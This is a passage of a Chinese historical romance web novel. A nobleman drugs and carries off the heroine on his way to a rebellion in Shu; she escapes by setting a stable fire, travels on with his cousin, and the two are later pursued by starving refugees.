“你站得离我那么远做什么?”王静姝终是掀眼问。 “你并未原谅我。” 沈遐洲的声音低落无比,透着淡淡的伤感。 王静姝不免又生出了气,摸得身后的绣枕砸出:“你值得原谅吗?你都知我是被逼得离开建业的了,竟还用那人来逼我?” 郎君的头垂得更低,捡起砸来的绣枕走向了王静姝,轻道:“我只是想吓唬吓唬你。” 他不疯时,眉眼隽秀清雅,好一派的金质玉相,淡淡烛光落在他身上,像是幽黑中晕开的一抹覆金的白,温润醇美得迷人神志。 他走近,将绣枕放置女郎的身后,继而垂眼望着女郎,“那老匹夫不会威胁到你的,他不敢入京来,他舍不得他掌的两州六郡,半点风险也不会受的,我已探得他早早装病不出,以拒入京赴宴了。” “你也不用担忧会被送回建业,沈家不会放任异姓郡王与世家联姻的。”他本是想说长公主,想到王静姝并不喜欢他母亲,脱口换成了沈家。 但话中的意味已经足够明显,既知丹阳王的意图,王静姝绝无可能再回建业。 这也是为何长公主也只口头吓唬吓唬王静姝的原因,长公主不想她同沈三郎在一起,但也同样不乐意王家与丹阳王有交集,无疑的,她甚至对王家和王家女郎的王静姝有了迁怒。 沈遐洲并不解释太多,在女郎敛目思索之际,为她落下的几缕碎发别到脑后,似诱一般蹭蹭她,重复道:“那日是我错了。” 王静姝的脸色其实早已好上不少,只是她尤有些执拗的傲,觉得怎能沈遐洲几句话就原谅他呢,那样他们日后如何相处的好? 她可还要想着嫁给旁人? 太多的不确定了,而且,她那日在气头上其实也说了许多过分的话。 她咬着唇,在挣扎,在犹豫,微抬眼间,却见郎君目中伤色更重,他握紧的腕指处是她留下的伤痕,因用力的缘故,虎牙咬伤处的坑还渗血。 她眼睫轻轻颤了颤,稀疏的烛光也被筛下,她终是被这样的郎君给打败了,轻握下郎君的手,问:“痛不痛?” “我咬你的时候,你怎么不吭声啊?” 没有力气的人是支撑不起跳快舞的,她是身体极康健的女郎,说来有些羞赧,她力气挺大,各方面都是,牙口用力的时候也下了狠劲。 “也不是很痛。”年轻郎君目落在被女郎握着的手上,如云一样软腻轻柔,薄薄的耳尖不由微红,“通常这时候,亲亲就能好了。” 俯眼猝不及防地与女郎微震的眼神对撞,微别开目光:“吹吹也行。” 说着,他又用余光瞥一眼王静姝,又瞥一眼王静姝,耳尖的红像是被点彩过一般,但就是没有收回手。 王静姝心中冷笑不已,挥开他的手,“光吹一吹哪够?”她倾身沈遐洲:“我应该照顾三表哥到你手好为止,是与不是?” 她是极明媚逼人的女郎,当她倾身时,沈遐洲的目光都不知该往哪落,他瞧见女郎的发从腰窝向一旁倾泄,又瞧见女郎的中衣向上翘起一角,露出一截雪白又柔韧无比的细腰,他鼻翼又觉得痒痒了。 王静姝凑近一瞬,越发觉得郎君唇角的那点血痕难以忍受,她飞快地亲了亲,将那点血迹卷入,又飞快地退开,半点不管双目陡然瞠大的郎君,困倦道:“这次也两清了,你既不痛了,别影响我睡觉了。” 沈遐洲不舍地勾了勾王静姝垂落的发,“我没感觉到。”触及女郎嫌弃又不想管的眼神,又转道:“你明日能同我去一个地方吗?” 王静姝是真有些困了,而且一遇上沈遐洲脑子就乱乱的,她实是不想再在脑子不清楚地做下些不该做的事,咕哝地扯回自己的发:“明日再说。” * 翌日,天光大亮—— 沈府。 沈二郎的院中忽地发出狂响,只见得自来散漫优雅的沈二郎,赤足冲出了房门,大喊:“备马!” “赶紧给我备马!” 他大喊完后,又半遮着眼,不敢相信地去瞧方看完的信。 悲鸣不已,三郎他—— 他怎能将表妹也带去支援蜀地! 哪有这样追求女郎的? 第39章 第39章“你当养金丝雀吗?”…… 树灌藤萝遍布官路两侧,但再浓郁的绿植也挡不住这个时节的燥热。 王静姝是在一片轱辘声和轻微的颠簸中醒来的,身上有些濡湿的难受,她在睡梦中出汗了。 即便困顿萎靡的神志还未完全归拢,她也生出了几分不对劲,她住的小楼,楼上就有湖风,即便关了窗,也不会睡一觉就出许多的汗,而且哪来的颠簸? 她彻底睁开了眼,入眼是木质的头顶,四面几乎不透光,是从车窗的帘帐缝隙中透出的丝缕光,不时地,有带着凉意的风扇向她,她陡地扭头望去,俊美的年轻郎君就坐在她不远处,面前有个偌大的冰盆,瞧着已经融了不少。 这让她生出几分似乎还在屋中的恍惚感,她坐起:“你怎么还在?” 才问完一句话,头经不住地晕,身子也有些沉,像是睡得过久的沉重感,又像是中暑后的症状。 沈遐洲扶了她一下,给她倒了一杯水。 微凉的水下肚,王静姝才觉舒服不少。 “我们这是去哪?”她这时也发觉了她并不是在别院的小楼中,而是在一奔驰的马车中,马车空间颇大,她方才躺着的褥下也很是柔软,简直像是一个小型的房间一样。 想起昨夜睡前,沈遐洲说要她与他去一个地方,有些不悦:“你怎没经过我同意就带我走?” “我都还未与二夫人说一声。” “夫人会如何看我?” 女郎的声音带着初起的喑哑,但随着转动的脑子,话语越发地声脆,问的话也越发地快:“你同二夫人说什么了?怎么带走的我?” 他们的关系纠纠缠缠的,也没个定性,她都怕长辈们知晓了,也怕再来个如长公主那样当头一棒的长辈。 沈遐洲安抚地将她按回坐处,“二伯母那不用担忧,她并不知我去了别院,余的事我也安排了二哥替你遮掩。” 王静姝不由听得有些糊涂,安排了二表哥替她遮掩?她是要遮掩什么啊? 郎君并未帮她解惑,反拉着她闲谈了起来:“你去过益州吗?” 王静姝很怀疑沈遐洲是在嘲讽她,她虽爱玩爱闹,可去过最远的地方,也就从建业到洛京了,沈遐洲分明知晓的,还这般问,什么毛病?纯心想同她吵架吗? “益州自来有天府之国之称,奇珍异兽颇多,蜀锦也华美,卿卿,你想要吗?” “不要,我想回别院。”王静姝果断拒绝了郎君无边际的畅想,伸手去撩马车的帘扇。 这次沈遐洲没有阻止,刺眼的白光从外照入,高挂的烈阳明明白白地告诉王静姝现在是什么时辰了,已连正午都过了。 她竟睡了这般久吗? 两旁的绿植也簌簌向后退去,马车内虽感到的颠簸小,但并不是它行的慢,相反的,它在官道上行的飞快,几匹毛发油亮的骏马共同拉着这辆过大的马车。 结合沈遐洲方才说的话,她震惊得几乎失声,像过了很久,才喑哑地问:“沈九如,你不会要带我去益州吧?” 她从郎君静如白玉一般的脸庞中得到了肯定的答案,心中狂叫不已,面色容情也崩溃,动作之大地扑向沈遐洲,揪着郎君的衣襟:“沈九如,你个疯子,你竟绑架我,我要回去,你送我回去!” “我不跟你去什么益州!” “你想做什么?” “把我软禁在益州吗?” 女郎无比的怒,又无比的惧,发散的神思,不断地幻想出,沈遐洲要报复她,将她关在叫天天不应叫地地不灵的地方折磨,她再回不了洛京,也回不去建业,她会日日被折磨,过得凄惨无比。 “你冷静些。”沈遐洲被女郎扑靠在车板上,衣襟也被揪着,她跨坐在他身上,他一点反抗也没有地任由她施为,也任由她宣泄,可她不单想得越发离谱,而且揪着他晃也就罢了,她总蹭他。 不该在这时起的反应都要被她蹭出来了。 他不得不双手锢住女郎的腰,“王静姝,你瞧瞧,到底是谁在蹂躏谁?” “你再动一下——”他满面浮着绯红色,脖颈处也露出些被王静姝揪着勒出来的红痕,可他眼眸又是雾蒙蒙,幽沉沉的,很不正常。 王静姝咯噔一下,想向后退,被锢着的腰却令她动弹不得,只能拉开距离地后仰,她见过沈遐洲这样类似的眼神,在他发疯的时候,还有起色心的时候。 不管哪种,都不是她现在能承受得起的。 眼见她安分了不少,沈遐洲脊背靠着车后挺立了些,女郎也顺着他动作向下滑了一些,危险的距离拉开,可他并不松开女郎,一手上撩至女郎颊靥,被王静姝扭头避开。 他额抵下,双手掰过女郎的脸颊,四目不得不相对,他专注凝视着王静姝,低悦动听的嗓音也如诉情一般:“卿卿,你想的事情都不会发生,我只是想带你去益州玩一玩。” “到时你就住在蜀郡, 我寻最好的绣娘为你制最美的蜀锦华服,蜀地的美食你也尽可去尝尝……” 王静姝不为所动,讽他:“你当养金丝雀吗?是不是还要再给我造一座金屋?” 沈遐洲抵着她笑,“你若想的话,也无不可。” 王静姝牙痒得想咬他,俊美的年轻郎君却又在这时轻抚着她的脸,“我会给你留人,你想做什么都可,只有一点——”他含情带愁的双眼变得幽冷,一点和善的踪迹也寻不见了:“你不能不等我自己回洛京。” “卿卿,可能做到?” 他执拗地半胁半诱地要王静姝承诺。 而王静姝也终于听出了些不一样的意味,脱口问道:“你不同我在一块吗?” 沈遐洲明显的,眉眼柔漾了开,“原来你是想一直同我在一块。”眼睫垂落下些睫影,雅润下颌牵动的面皮低怅又愉悦:“我也想多陪你。” “我处理完蜀地的动乱就陪你四处走走好不好?” 王静姝太阳穴忍耐地抽了抽,到了现在她若是还不明白沈遐洲的意图,她就是个傻的,一定是上天听到了她的祈祷,沈遐洲终于被赶出洛京了。 但沈遐洲简直是个无可救药的疯子,他要把她一起带去,就是为了时时刻刻看着她,不让她有机会去与旁的郎君交际。 她睁着的眼逐渐空茫,她好似看到了洛京的繁华在离她而去,七夕、大势至菩萨日、还有千秋宴,她怕是一个也赶不上了。 除非她现在就能甩开沈遐洲。 昨夜所有的歉疚与柔情,都是为了降低她的心防,他定然是从一开始就做好了将她绑走的准备。 女郎久久的沉默,她在思索甩开沈遐洲成功的几率有多大,她一人回去洛京的可能性又有多少? 她很快就将这个念头甩开了来,她即便要走也要带够了能保障她安全的人走,她略扬了扬眉,含笑抬眼,甚至伸出手去勾郎君的后颈,她本就与他额抵着额,此刻也不过是化被动为主动,主动地与他亲昵:“蜀地动乱几何?你要我与你去多久?” “你又不陪着我,万一我遭了难怎么办?” 女郎一旦主动,所有的钳制都是多余的,沈遐洲不禁松了力道,手掌改扶上了女郎细软的腰肢,他极尽话语地安抚女郎,并与她讲蜀地的形势:“秦、雍一带,自先帝起,就水利失修,这几年又恰逢干旱,一年比一年严重。” 郎君的声音很缓,似悲悯一般轻叹,“年初时,鲜卑又曾举兵进犯武威郡,至流民逃往秦、雍一带,如今入夏,秦、雍更是不堪负重,人多饥乏,朝中赈粮及至饥民手中远远不够,两地官员暗中将流民迁往关中一带。” “这些流民当中出了几个领袖,聚集七千余人内外合攻下阴平郡,杀了阴平太守,招合边郡壮勇不下万人。” 沈遐洲微顿了一下道:“阴平失守太快,太过隐秘,又有秦、雍两地怕担责,瞒报此事,若非有流匪贼流窜至荆州,怕是还不能及早察觉流民叛乱。” 明明说的都是一些王静姝从不曾触及,又显严肃无聊的大事,王静姝却蓦地都听进去了,甚至有些忘了自己与他亲昵的目的,望着年轻郎君失了神,她觉得此时的沈遐洲有点不一样,明明还是那张脸,可阴郁之气不显了许多,他的那份刻在骨子里的端正显露无疑,目也如星澜一般漂亮。 她不自觉地伸出手想摸一摸,还未碰到,先被郎君给握住了,他极认真地保证道:“到时你就在蜀郡等我,蜀郡与阴平、梓潼还有很远的距离,你不会有危险的。” 人怎么能变化这么大呢,瞬息的功夫,他就又恢复了王静姝自洛京以来熟悉的那个沈遐洲,色心不改,死性也不改,就是非困着她呗。 她胡乱地嗯嗯了几声,趁机柔声问:“那你会有危险吗?要多久你才能从将动乱平叛?” “不会太久的,”沈遐洲容色狞一下,不太想提起吕思温,含糊地道:“就去支援一下阴平,再将流民安顿,顶多两三个月的功夫。” 王静姝瞳孔都猛缩了一下,好得很,洛京的热闹她是一个都赶不上。 她望着眼前的俊容,控制着去抓他的冲动,计算着洛京到的蜀郡千里的距离,而他们这样车马并行,再快也就日行百余里,甚至达不到,沈遐洲既是去援阴平的,难道不急吗? 她似不舍地勾着沈遐洲问:“你会陪我到蜀郡吗?” 郎君显然地僵一下,顾左而言他地并不想让女郎知道他之后的计划:“你再忍耐一下,再过半个时辰,我们就能到驿站了,你到时可以洗个热水澡,再歇息一下,我们等到夜里再赶路,也就不会这般热了。” 王静姝心中哼哼几声,便知沈遐洲顶多看着她几日,她便也收了心,一切等这个麻烦走了再说。 遂只点头做乖巧状。 第40章 第40章他脸皮怎这么厚啊。 乖巧柔顺的神情在王静姝这样的女郎身上是很少见,她眉眼下敛,腮畔肌肤莹润细腻,朱红又微翘的唇也越发地侵人眼。 沈遐洲色壮怂人胆,心中痒痒地又想亲亲女郎,昨夜浮光跃水一般轻晃的一点,他都来不及感受。 他们上次一次亲亲还是不欢而散的时候,至于昨夜,他为让女郎放下心防,又好将她带走,半分不敢有过分的举止,他心中想得紧,偏女郎此刻又这般柔和静美,念头如上涨的潮水,顷刻漫满心间。 放大的俊容被王静姝伸手挡住,软软的触感只碰到了王静姝手心,她简直嫌弃死沈遐洲了,他脸皮怎这么厚啊。 她是被劫持的,而他是劫持的罪魁祸首。 几句话,再加一些许诺就想她原谅和诱拐她吗? 她心中已然懊恼昨夜对他的心软,问:“你是不是给我下药了?” 沈遐洲色迷心智的神志几分归拢,也从女郎的手心处弹射开,轻声回避:“点了安神香。” 王静姝面容更是冷淡了几分,自来上翘的唇角也压下,她就知她不会无缘无故一觉就睡到了日上中天,也不会说着话就犯了困,怕是在他入了她房的那一刻就点了香,只是没想到她会恰好起了关窗罢了。 然如今说什么都晚了。 “我的侍女们呢?”她都已懒得再给沈遐洲眼色,只问询着些自己关心的:“你没对她们做什么吧?” “还有,我即便同你去益州,身边总得有个侍候的人吧?” “我习惯了我的侍女侍候我,换了其他人我食不下咽。” “说不得我还没同你到益州就先想她们想得饿死了。”她说的有夸张的成分,但也足以表明她离不开她自己的侍女,沈遐洲别妄想连这都给安插他的人,那她还有什么自由隐私可言? 而且,她也有意为难沈遐洲,她就是想竹苓竹沥得不行,等到了驿馆,她就以此不能出发,偏生拖上一拖沈遐洲的行程。 如此,到时她自己离开时,也能离洛阳更近一些。 她如是想着,眼尾也上勾地挑一眼沈遐洲,使性骄纵的脾性拿手就来。 沈遐洲尤觉得女郎无论怎样都好看,比起她一句话不说,自然是怎样使性甚至耍泼才生动。 她是那种永远充满生机的女郎,一颦一笑都烂烂如繁花,他喜爱她身上的这种生机,他并不想攀折了她,而是想将她圈在自己能照看的范围里,养护这种生机。 她还有劲折腾他,那便说明有气消的一日。 遂而拉扯着她笑:“你不会想她们想得饿死的,我把她们一起带来了。” “在其他车驾上。” 郎君浅笑如春华漾水,端然毓秀,却生生将王静姝堵得一噎。 他可真是体贴啊,体贴得一个能为她去洛京报信的人都不留。 沈遐洲瞧出她磨牙的模样,心中生虚,“我让她们来见见你。” 偌大车厢中只余王静姝,她躺入软褥中,略等了一会,门帘微闪一下,有人进了车厢中。 “娘子。”竹苓喊道,上前一些将王静姝上下打量,见娘子并无事才终于将心安回了心房。 竹沥终归没有竹苓沉稳,惶恐的 心有了归处,就哭着将她们如何梦中惊醒被绑上马车,又如何听得人道要去动乱的蜀地一一说了出来,哽咽着问:“娘子,我们当真了要去益州吗?” “三郎君莫不是……”仆侍的规训让她在吐出冒犯词之前停顿了住,转为愤懑不解:“三郎君带上娘子做什么!” 王静姝替她将为完的话补完:“他就是个疯子。” “混蛋。” “我不会同他去益州的。” 女郎将脸深深埋入被衾,益州被沈遐洲说得再天花乱坠,也不是她自己的意愿,同看犯人似的被跟着,能有什么好玩的,而且蜀地都有动乱,即便没有波及到蜀郡,那也是个潜在隐患不是吗? 沈遐洲出身固然好,武艺也好,可也没有让她感到可靠到十分值得信赖的地步,毕竟他十分的年轻,他只比她大一岁。 这样的郎君在洛京当个威风凛凛的卫尉司马就已够证明他的能力了,再熬一熬资历,卫尉也定然是他的。 再加之他的出身,在洛京的地界,他要护着她那固然可信。 但蜀地怎么也算是中大型的真战场了,能抢占下阴平郡还扩兵的流民领袖显然极具号召力和统领能力,不然也不会吕思温带兵征讨了还需要支援。 沈遐洲那动不动犯旧疾的身板,怎么想都不如吕三郎。 她反都有些替他担忧,他能行吗? 还是说,他是被派出摘战胜利果实的,以长公主与吕相为首世家的暗中较量,说不得也很有这个可能。 胡思乱想之际,她肚子发出了一阵空鸣。 虽醒来不算久,可也自昨夜起就没有进食了。 她招了招竹苓,眉眼间尽是骄矜又脾气大的盛气:“去同沈遐洲道,我要喝鸡汤,现在就要。” 然她忘了,驿馆已临近,这番使气落了个空,她对着驿馆送上的一桌饭食,尤其是热气蒸腾的鸡汤,更气恼了。 偷偷让竹苓想办法传些消息回洛京去,不管是给沈二郎还是她小叔母都可,这两人想来都是不会放任沈遐洲胡来的。 去平叛乱的人,途中带个女郎像话吗? 夜里的时候,暑气消散,王静姝困顿中被唤醒又要出发,她有意闹腾,拖累路程,装睡不起,沈遐洲这时却不惯着她,将她连人带着锦被一同抱着下了驿馆,又穿过前堂,驿馆中并非空荡无比,多是往来有世家或是官宦凭依的家臣和家眷,星夜赶到驿馆就是为了有个落脚的地方。 王静姝纵是再大胆,也没有这般在大庭广众下被人抱着走的经历,整个人缩进了薄薄的锦被中,脸也埋入郎君的胸膛,可以的话,她恨不得消失在空气中。 甫一被放入车中,她就如炸毛了的猫一般对着郎君耀武扬威,锦被散开,根本来不及着鞋履的足背皙白晃眼,与车内漆红铺毯对比鲜明。 王静姝兀自闹腾了一会,发现郎君低垂着眼,专注非常。 顺着他的视线下落,不自然地动了动脚趾,往被里缩了缩,瞪他:“沈九如,你还要脸吗?不知道非礼勿视吗?” 沈遐洲瞧不见地别开目光,心想,也不是第一次见了,可每瞧一次,妄念就多一分。 他果然不可能放过王静姝,不带走她,她必然花蝴蝶一般招惹许多的郎君爱慕。 马车毂毂,一连行了几日,除了最热的时辰,余下的时候都在赶路,显然的沈遐洲也是急的,他不可能延误军情。 王静姝近来也总发脾气,有时候是真气,有时候又是故作生气,一日下来,来来回回地要闹上许多次,诸如大半夜行在路上的时候就说要喝鱼汤,附近连河流都无,如何去捕鱼? 郎君倒是好脾气派人去寻河流,又稍息时煮好后给女郎,女郎这时候就会挑剔汤不够浓,佐料不够鲜。 又诸如,前不着村后不着店的时候,喊没有润肤的膏脂…… 无论女郎如何闹腾,郎君都一一满足,但入蜀的进程也半点没有被耽搁。 王静姝再次瞧着送到跟前的驱虫香囊,再看又憔悴清减不少的郎君,忽地觉得有点没意思。 郎君星夜要赶路,不赶路的时候又要去为女郎的需求奔波。 理智上,她觉得不该心疼他的,他如今这苍白模样还不是他自己作的,非要带着她一起走。 可情感上,她又几多煎熬,不受控地担忧,沈遐洲这个样子能去平叛吗? 不会死在阴平回不来吧? 故而,她任性得也少了,只是赌气地不大与他说话。 这日,入了蜀地的巴东郡,夜里她竟没有再被唤醒赶路,但许是习惯的原因,她自发地睁眼了,能望见驿馆外灯火蒙亮,还有人马汇聚又调离的动静,她的房门也在此时被推开,她立马装睡地闭眼。 拖延是她的常态。 然并未有人进来,好似只是在门外望一眼,就又合上了,她能听得一些细微的轻语,似是在叮嘱什么。 她想,留下的或许会是嵇牧,嵇牧在沈遐洲幼时就跟在他身边,稳重又武功高强,她数次透露就要嵇牧留下保护她。 郎君虽沉默,但看得出对她的话听进去了。 她一边听着郎君离开的动静,一边琢磨着明日后如何说动嵇牧护她回洛京,还有偷偷送回洛京的音讯怎一点消息也没有。 她是个骄傲但又一身反骨的女郎,即便会为郎君担忧,甚至内心深处其实也是还在喜爱沈遐洲的,但她仍旧是不甘被掌控的,不然她也不会从建业跑至洛京。 如今对面情爱也是如此,她不愿对沈遐洲一退再退。 然,白日里,她才发现留下的并非是好说话的嵇牧,而是沈遐洲另一个得力的卫士夜阑,这人就如他的名字一般,半句话也吭不出声,竹苓竹沥还有她,嘴皮都要磨破了,他就一句话,“女郎歇够了就出发。” 她一直歇不够,连歇了三日,她不愿再往蜀地深入,那样她回洛京就太耗时了,总之,在走不掉之前,她就一直耗着,沈遐洲不在,也没有人能强迫得动她出发。 这日,竹沥哭丧着脸寻来,手中捧着一堆的信件还有饰物,都是连日来在各处驿馆花出去的打点,还有送出的信,她哭丧着道:“娘子,我们的信没有一封送了出去,都被那个叫夜阑的卫士暗中拦住了。” 既是暗中拦住了,现在全送回无疑是暗示她不要再白费劲,说没有沈遐洲的安排,她是绝对不信的。 竹沥依旧在为难道:“娘子,竹苓姐姐也被那人控制住了,道娘子今日必须得出发,不然——” “不然如何,他敢杀我侍女不成?”王静姝咬牙不已,夜阑得了吩咐,定然是不敢杀她侍女的,但折腾逼迫她一下定是能做得出的。 难怪了,要把她侍女也带上,除去能照顾她,也能在需要的时候拿来当胁迫用。 若非不得已,她是不愿意扔下侍女跑的,她也怕沿途的危险,若换了嵇牧,她还能说动折腾一下,可夜阑却是个油盐不进的,如今也只有她先跑了,这边的困境也就解了。 她必然是会被追上的,但竹苓和竹沥却是能趁这个时候离开或是传出她的消息。 夜阑要保护的是她,不是她的侍女,必然不会为她们浪费时间的。 她与竹沥耳语几句,竹沥应下。 没多久,驿馆马厩起了火,草垛燃烧极快,众人的马匹乱了套,王静姝趁乱换了竹沥的衣裳垂头出了房门。 她去往马厩相反的方向,努力翻着墙。 墙的另一边却在这时也翻上个鼻青脸肿的郎君。 四目相对,郎君先开了口:“表妹,好巧啊,你也翻墙啊?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第41章“你意图都快压不住了。…… 竟会在墙头碰到沈二郎,王静姝是意外又惊喜的,当然对他满脸的青肿也是震惊的,故而,两人趴在墙头望着彼此的一眼有无尽一样长。 但驿馆 更远处传来扑火和马嘶的声音并由不得他们这样叙旧。 支撑着沈二郎的仆从星轨也受不住地催。 沈遐元朝着王静姝伸了手,帮着她翻出了墙外,不远处一匹劣马低垂着头散着暑气。 “那是表妹的马?”沈二郎问。 “应是的。”她在放火前,自然也是让竹沥将她要的马给备好,不过馆驿中买通的仆役,也就只能做到准备这种程度的马了。 沈二郎点了点头,走到劣马旁,解开了绳,似良善又不舍地与马嘀咕了什么,遂而,用力抽拍马背一下,劣马嘶仰马脖,四蹄狂奔。 这时候沈二郎又上了他来时的马车,朝王静姝招手:“表妹,快和我走吧。” 王静姝不做它想地就同沈二郎上了马车,星轨也一跃上车舆,驾着马就往方才劣马相反的方向狂驰。 这马车显然的没有经过什么特殊的处理,比王静姝原先坐的颠簸多了。 可马车中两人却并不在意,如险象环生一般各据着一角,同时开了口—— 王静姝:“二表哥,你怎么追上来的?你脸上伤又是怎么回事?” 沈二郎:“表妹,三郎没有对你做什么吧?” 二人狼狈又兀自地笑了。 他们好好的世家郎君和女郎,如今形容真是一个赛一个的不成样。 沈二郎先倾吐开了:“表妹啊,你是不知晓,三郎害得我好苦,他带走你,给我留下一堆麻烦处理遮掩也就罢了,他还给夜阑下了死令,凡来者一视同仁,我脸上这伤,就是昨夜想去见见你如何了被揍的。” 原来沈二郎在赶至宜阳未能追得沈三郎,彼时她早已被沈遐洲在睡梦中给带走了,沈二郎不得已下,只能先将袁夫人那儿给通了气,就当王静姝还一直与她在宜阳避暑,继而一路狂追,接连被沈遐洲留下的人所阻。 直到昨日,终于能追上了,还得知沈遐洲不在的好消息,径直寻上了夜阑,脸上的伤就是这般来的。 今日也同王静姝想到一块了去,竹沥能这般顺利地放火拖住了人,沈二郎带来的卫士也功不可没。 墙头相遇也成了必然。 王静姝简直要被感动坏了,没想最后竟是二表哥最惦念她。 然,当她问出“二表哥,我们这是要去哪?”时,触及沈二郎那笑眯了的眼,她本能地感到一阵不妙。 “自然是寻三郎算账去。”沈二郎理所当然地道。 王静姝当即就坐不住地站起,猛地磕到车顶才无比凄哀地问:“二表哥,我们难道不回洛阳吗?” 沈二郎惊讶:“表妹竟是想回去?” “这可难办了,我方才拍马可是洛阳的方向,夜阑那厮反应过来后,怕是第一时间便会往那个方向追去。” “表妹怎不早些说。” 沈二郎扼腕不已,可那张青青紫紫的脸,却实在瞧不出懊悔来,满是已经这样了,没有办法了的无辜。 “我还以为表妹与我同是性情中人,受此等大辱定然是要寻三郎理论的。” 那是你!王静姝瞪着的眼明明白白地呐喊着。 沈遐洲都已强绑她了,她是多大的心才会不顾蜀地乱动,还要自己送上门去。 那还不如去沈遐洲安排好了的蜀郡。 马车中诡异的沉默,只有车轱辘转动的声响不断提醒着他们前进的方向。 “送表妹回洛京也不是不行,但都出来好些日子了,就这般回去不觉得浪费吗?” “这般远门,就是世间许多男子也不一定有这样的机会。” “况且,有我与表妹同行,沿途危险又有什么怕的?” “表妹难道不想去见见三郎阵前挥斥的模样?” “当然了,最重要的是,表妹难道不想去瞧瞧三郎被你我戏耍的模样?”沈二郎在颠簸中,笑意却越发地狡谲,伸手指了指王静姝,又指向他自己,重复道:“你与我。” 那是一种不带任何恶意,但满是恶趣味的语调,无疑的,沈二郎中途截胡了沈遐洲的女郎,并且将其带到其面前去耀武扬威。 这做法,光是想想就很吸引人,也足够气人。 他一再鼓动王静姝,双眼也兴味极了地等待着,他自然是瞧得出,王家表妹,与他很多时候是同类人,他们的内心永远是躁动的,不甘于无聊的,甚至骨子里就不是安分守己的。 但也是不同的,比如,王表妹比起他来,就显得无比的单纯。 三郎总是不让他省心,连追女郎都不会,若非他追来,表妹这一回洛京,他家可怜的三郎,还有没有机会都难说。 也就他这般不嫌麻烦,又慈爱的兄长,才不辞辛苦,既解救了表妹,又不忘为三郎筹谋。 他个人想瞧热闹的骚动在这些面前,当然是顺带。 沈二郎难压的唇角牵动到了青肿之处,笑意蓦地又痛又喜感。 王静姝瞧他,建议:“二表哥,你都这样了,就别笑了。” “你意图都快压不住了。” 王静姝再单纯,那也不是不长记性的女郎,沈二郎的恶趣味她领教好几次了,这是个时而靠谱又时而不靠谱的郎君,他想看热闹不嫌事大是真,可有时在这些遮掩下有其他的意图也是真。 她虽不知是什么,但多少能感知出些。 但此刻,无疑的,二表哥就是找到了新的乐趣,那乐趣是她,也是沈遐洲。 可也同样的,她被说动了,也犹豫了。 她不是安分的女郎,甚至在内心的深处,喜欢刺激,喜欢打破被安排,那会无端的让她生出兴奋。 要说回洛京,各种宴邀与节日多吸引她其实也不见得,年年有的东西,也就那样。 但她显然的是更不想去蜀郡的,等沈遐洲忙完了再来陪她?那不是金丝雀那是什么? 沈遐洲凭何强迫她为他等待? 这种不悦下,并不会让她加重对沈遐洲的喜爱,只会不断地削弱她对沈遐洲的好感,她偏想与沈遐洲作对地回洛京去,也偏想更变本加厉地挑选夫婿。 可现在,她有了第三种选择。 沈二郎是沈家嫡系郎君,瞧着是无所事事的模样,可他的身份能行的便利并不少,即便带她混入军中也不是不能做到。 他提出的畅想,非常的吸引人,也轻易地挑动了王静姝古怪的好胜心,脱离沈遐洲的掌控,然后出其不意地出现在他面前,刺激他。 沈二郎其实也被王静姝的出声吓了一跳,他屡试不爽的推波助澜,表妹如今竟能察觉出来了? 他姿态也不由地端正了几分,问:“表妹想好了?是要去?还是回?” 王静姝眉眼舒开,微扬的下颌,活像又傲又野的狸奴,她无比肯定地道:“去。” 两人几乎是一拍即合,颠簸的马车中,聚首在一块说着计划。 而他们的背后,是境遇翻转的两拨人马,夜阑在火势和混乱难以控制的时候,察觉到了不对,果然的,王六娘子不见了,留下的只有她的婢女。 寻着踪迹追上了劣马,才发现是个障眼法,再即想到前一日才遇到的二郎君,一路追,又一路地被二郎君暗处的人马阻拦。 就如放风筝一般,一直保持着不远不近的距离。 这日,蝉鸣阵阵,日头也如沸如蒸,沈二郎带着王静姝也并不特别急着赶路,躲在阴凉处歇息。 除去初时的慌乱,他们如今倒是且行且游,从巴东郡向北,经过巴西郡,再往前便是梓潼,到了梓潼,距离蜀地真正动乱的地方便很接近了。 沈二郎出行虽简了些,但该带的都带了,没带的也有神出鬼没的卫士提前等在前路备好,就连造饭用的炭也是精炭,烧的时候无烟也无焰,还带有一股木质的香味。 两人隔着不远处瞧着星轨埋釜造饭,王静姝不断为自己扇着风,沈二郎却一边躲凉,一边嘴巴不停,他总有说不完的话,一路上相处久了王静姝都有点烦这个二表哥了。 好比此刻,她就听得沈二郎讲星轨的名字从何而来,沈遐洲身边的星泉也是他起的名…… 王静姝闻得一阵肉香,当即抛开了沈二郎,道:“ 开饭了。” 星轨手艺好,简单野雉肉也烤得脂香阵阵,不枉沈二郎出门也要带着他。 正用着食,周遭灌木窸窣响动,突然扑出几个人影,紧着就是又杂又乱的哭喊,他们又哭又求,双目紧盯着锅中饭食,尤其是混在其中的几个妇人,身边还跟着饥瘦的孩童,目中饥饿扑面而来,即便不用细听,也知他们所求为何。 王静姝手中的肉不免往前递了递。 沈二郎当即打落她手中的肉串,拉着她走,她不解望去,只见沈二郎难得地满面肃容,“小表妹,我今日就给你上一课,做人有时候不能太心软。” 只见,他们方上马车不久,更多的流民从灌木中窜出,也不知哪些个没有抢到饭食的高喊一声,“他们穿着是贵人,他们车上必定还有食物!” 一双双秃鹫一般饥饿又悚然的眼锁住了他们的马车,这一刻,王静姝才打心底里生出了胆俱,那是人的眼神,但又不止是人的眼神。 饥饿使人疯狂,也使人抛却人性。 这是足以颠覆王静姝过往认知的大绥另一面。 马车在奔动,但仍有人在无限接近。 星轨一边赶着车,一边将两指伸入口中,高啸三声,有卫士出现。 足足过了小半个时辰,他们才彻底甩开了那些疯狂的流民。 王静姝平复着今日所见的震撼与纷乱,紧盯着沈二郎问:“二表哥,你是不是故意的?” 第42章 第42章“卿卿,我实在听不得你…… 王静姝实在很有理由怀疑是沈二郎故意安排碰上流民的。 他们沿途一路早几日都是太太平平的,前头也早有人探好了路,今日却陡然地遇上了这般多的流民,二表哥初时也显然没有那么慌,还有功夫教育她,可后来又不似作假,着实让人难以猜测,不如直接问。 沈二郎此刻也擦着惊吓出来的汗,被王静姝问得生出几分心虚,虽说出了点预料外的意外,但毕竟是自己定下的路,要说一点准备没有那也是假的,一瞬的功夫又重新摆出了淡定的姿态,“表妹想多了,你我既决定了一同去往梓潼,当然是安全第一。” “不过这处越发靠近乱动之处,逃出的流民也越发的多,也不可能如前几日一般途中半点波澜也无。” “今日这条道也是没有办法,已是提前探查过了,只没想才堪堪半日的功夫,就又多出这般多的流民。” 王静姝狐疑,但已相信二表哥不会拿自身危险开玩笑。 沈二郎见此,擦着汗地继续道:“今日遇上了流民也好,表妹对之后的行程,也好有个心理准备。” “流民固然可怜,但我等若是遇上了,也要以先保全自身为先。” 